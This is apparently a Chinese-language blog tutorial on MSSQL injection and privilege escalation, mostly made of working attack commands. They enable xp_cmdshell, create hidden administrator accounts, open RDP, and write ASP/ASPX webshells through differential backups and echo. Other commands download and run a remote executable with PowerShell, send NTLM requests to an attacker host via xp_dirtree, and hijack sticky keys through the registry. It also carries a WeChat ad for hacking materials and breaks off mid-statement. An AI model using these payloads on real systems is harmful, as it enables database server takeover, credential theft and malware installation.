數據庫注入提權總結(三)

MSSQL GetShell

擴展存儲過程

擴展存儲簡介

在MSSQL注入攻擊過程中,最長利用的擴展存儲如下

image.png

xp_cmdshell詳細使用方法:

xp_cmdshell默認在mssql2000中是開啓的,在mssql2005之後的版本中則默認禁止 。如果用戶擁有管理員sysadmin 權限則可以用sp_configure重新開啓它

execute('sp_configure "show advanced options",1')  # 將該選項的值設置爲1
execute('reconfigure')                             # 保存設置
execute('sp_configure "xp_cmdshell", 1')           # 將xp_cmdshell的值設置爲1
execute('reconfigure')                             # 保存設置
execute('sp_configure')                            # 查看配置
execute('xp_cmdshell "whoami"')                    # 執行系統命令

exec sp_configure 'show advanced options',1;       # 將該選項的值設置爲1
reconfigure;                                       # 保存設置
exec sp_configure 'xp_cmdshell',1;                 # 將xp_cmdshell的值設置爲1
reconfigure;                                       # 保存設置
exec sp_configure;                                 # 查看配置
exec xp_cmdshell 'whoami';                         # 執行系統命令

# 可以執行系統權限之後,前提是獲取的主機權限是administrators組裏的或者system權限
exec xp_cmdshell 'net user Guest 123456'           # 給guest用戶設置密碼
exec xp_cmdshell 'net user Guest /active:yes'      # 激活guest用戶
exec xp_cmdshell 'net localgroup administrators Guest /add'  # 將guest用戶添加到administrators用戶組
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'  # 開啓3389端口

擴展存儲Getshell

  • 條件

  1. 數據庫是 db_owner 權限

  2. 擴展存儲必須開啓,涉及到的的擴展存儲過程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread

1.查看是否禁用擴展存儲過程xp_cmdshell
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+

2.執行命令
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+

差異備份GetShell

差異備份簡介

差異備份數據庫得到webshell。在sqlserver裏dbo和sa權限都有備份數據庫權限,我們可以把數據庫備份稱asp文件,這樣我們就可以通過mssqlserver的備份數據庫功能生成一個網頁小馬。

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

前提條件

  • 具有db_owner權限

  • 知道web目錄的絕對路徑

尋找絕對路徑的方法

  • 報錯信息

  • 字典爆破

  • 根據旁站目錄進行推測

  • 存儲過程來搜索

在mssql中有兩個存儲過程可以幫我們來找絕對路徑:xp_cmdshell xp_dirtree

先來看xp_dirtree直接舉例子

execute master..xp_dirtree 'c:' --列出所有c:\文件、目錄、子目錄 
execute master..xp_dirtree 'c:',1 --只列c:\目錄
execute master..xp_dirtree 'c:',1,1 --列c:\目錄、文件

當實際利用的時候我們可以創建一個臨時表把存儲過程查詢到的路徑插入到臨時表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

當利用xp_cmdshell時,其實就是調用系統命令來尋找文件

例如:

?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'
  • 讀配置文件

差異備份的大概流程

1.完整備份一次(保存位置當然可以改)
backup database 庫名 to disk = 'c:\ddd.bak';--+

**2.創建表並插入數據**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+

**3.進行差異備份**
backup database 庫名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+

# 上面0x3C25657865637574652872657175657374282261222929253E即一句話木馬的內容:<%execute(request("a"))%>

xp_cmdshell GetShell

原理很簡單,就是利用系統命令直接像目標網站寫入木馬

?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

這裏要注意 <>必須要轉義,轉義不是使用\而是使用^

文件下載getshell

當我們不知道一些網站絕對路徑時,我們可以通過文件下載命令,加載遠程的木馬文件,或者說.ps1腳本,使目標機器成功上線cs或者msf

MSSQL提權

存儲過程說明

xp_dirtree

用於顯示當前目錄的子目錄,有如下三個參數
  directory:表示要查詢的目錄

  depath:要顯示子目錄的深度,默認值是0,表示所有的子目錄

  file:第三個參數,布爾類型,指定是否顯示子目錄中的文件,默認值是0,標水不顯示任何文件,只顯示子目錄

image-20220802113902436

image-20220802113932066

image-20220802114031839

xp_dirtree 能夠觸發NTLM請求xp_dirtree '\\<attacker_IP>\any\thing'

xp_subdirs

用於得到給定的文件夾內的文件夾列表

exec xp_subdirs 'c:\'

image-20220802114312493

xp_fixeddrives

用於查看磁盤驅動器剩餘的空間

exec xp_fixeddrives

image-20220802114502254

xp_availablemedia

用於獲得當前所有的驅動器

exec xp_availablemedia

image-20220802114610684

xp_fileexist

用於判斷文件是否存在

exec xp_fileexist 'c:\windows\123.txt'

image-20220802114757614

image-20220802115111070

xp_create_subdir

用於創建子目錄,參數是子目錄的路徑

exec xp_create_subdir 'c:\users\admin\desktop\test'

image-20220802115455806

xp_delete_file

可用於刪除文件,但是不會刪除任意類型的文件,系統限制它只能刪除特定類型(備份文件和報表文件)

  • 第一個參數是文件類型(File Type),有效值是0和1,0是指備份文件,1是指報表文件;

  • 第二個參數是目錄路徑(Folder Path), 目錄中的文件會被刪除,目錄路徑必須以“\”結尾;

  • 第三個參數是文件的擴展名(File Extension),常用的擴展名是'BAK' 或'TRN';

  • 第四個參數是Date,早於該日期創建的文件將會被刪除;

  • 第五個參數是子目錄(Subfolder),bool類型,0是指忽略子目錄,1是指將會刪除子目錄中的文件;

xp_regenumkeys

可以查看指定的註冊表

exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

image-20220802121213291

xp_regdeletekey

刪除指定的註冊表鍵值

EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';

xp_regwrite

描述:

修改註冊表

利用條件:

  • xpstar.dll

修改註冊表來劫持粘貼鍵(映像劫持)

(測試結果 Access is denied,沒有權限)
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'

sp_addextendedproc

可以用於恢復組件

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

sp_dropextendedproc

用於刪除擴展存儲過程

exec sp_dropextendedproc 'xp_cmdshell'

xp_cmdshell

描述:

xp_cmdshell 是 Sql Server 中的一個組件,我們可以用它來執行系統命令。

利用條件:

  • 擁有 DBA 權限, 在 2005 中 xp_cmdshell 的權限是 system,2008 中是 network。

  • 依賴 xplog70.dll

-- 判斷當前是否爲DBA權限,爲1則可以提權
select is_srvrolemember('sysadmin');

-- 查看是否存在 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 查看能否使用 xp_cmdshell,從MSSQL2005版本之後默認關閉
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

-- 關閉 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

-- 開啓 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

-- 執行 xp_cmdshell
exec xp_cmdshell 'cmd /c whoami'

-- xp_cmdshell 調用cmd.exe用powershell 遠程下載exe並執行
exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell -ExecutionPolicy Bypass %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'

無回顯,也無法進行dnslog怎麼辦:

通過臨時表查看命令執行結果(在注入時,要能堆疊)

CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig'
select * from tmpTable

如果 xp_cmdshell 被刪除了:

如果 xp_cmdshell 被刪除了,需要重新恢復或自己上傳 xplog70.dll 進行恢復

以mssql2012爲例,默認路徑爲:

C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll
-- 判斷存儲擴展是否存在,返回結果爲1就OK
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 恢復xp_cmdshell,返回結果爲1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 否則上傳xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

sp_oacreate

描述:

使用sp_oacreate的提權語句,主要是用來調用OLE對象(Object Linking and Embedding的縮寫,VB中的OLE對象),利用OLE對象的run方法執行系統命令。

利用條件:

  • 擁有DBA權限

  • 依賴odsole70.dll

-- 判斷當前是否爲DBA權限,爲1則可以提權
select is_srvrolemember('sysadmin');

-- 判斷SP_OACREATE狀態,如果存在返回1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

-- 啓用 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;

-- wscript.shell組件執行系統命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

-- 輸出執行結果到指定文件
declare @ffffffff0x int
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt'

-- 利用com組件執行命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

-- 利用com組件寫文件
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;

-- 利用filesystemobject寫vb腳本 (目錄必須存在,否則也會顯示成功,但是沒有文件寫入)
declare @o int, @f int, @t
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章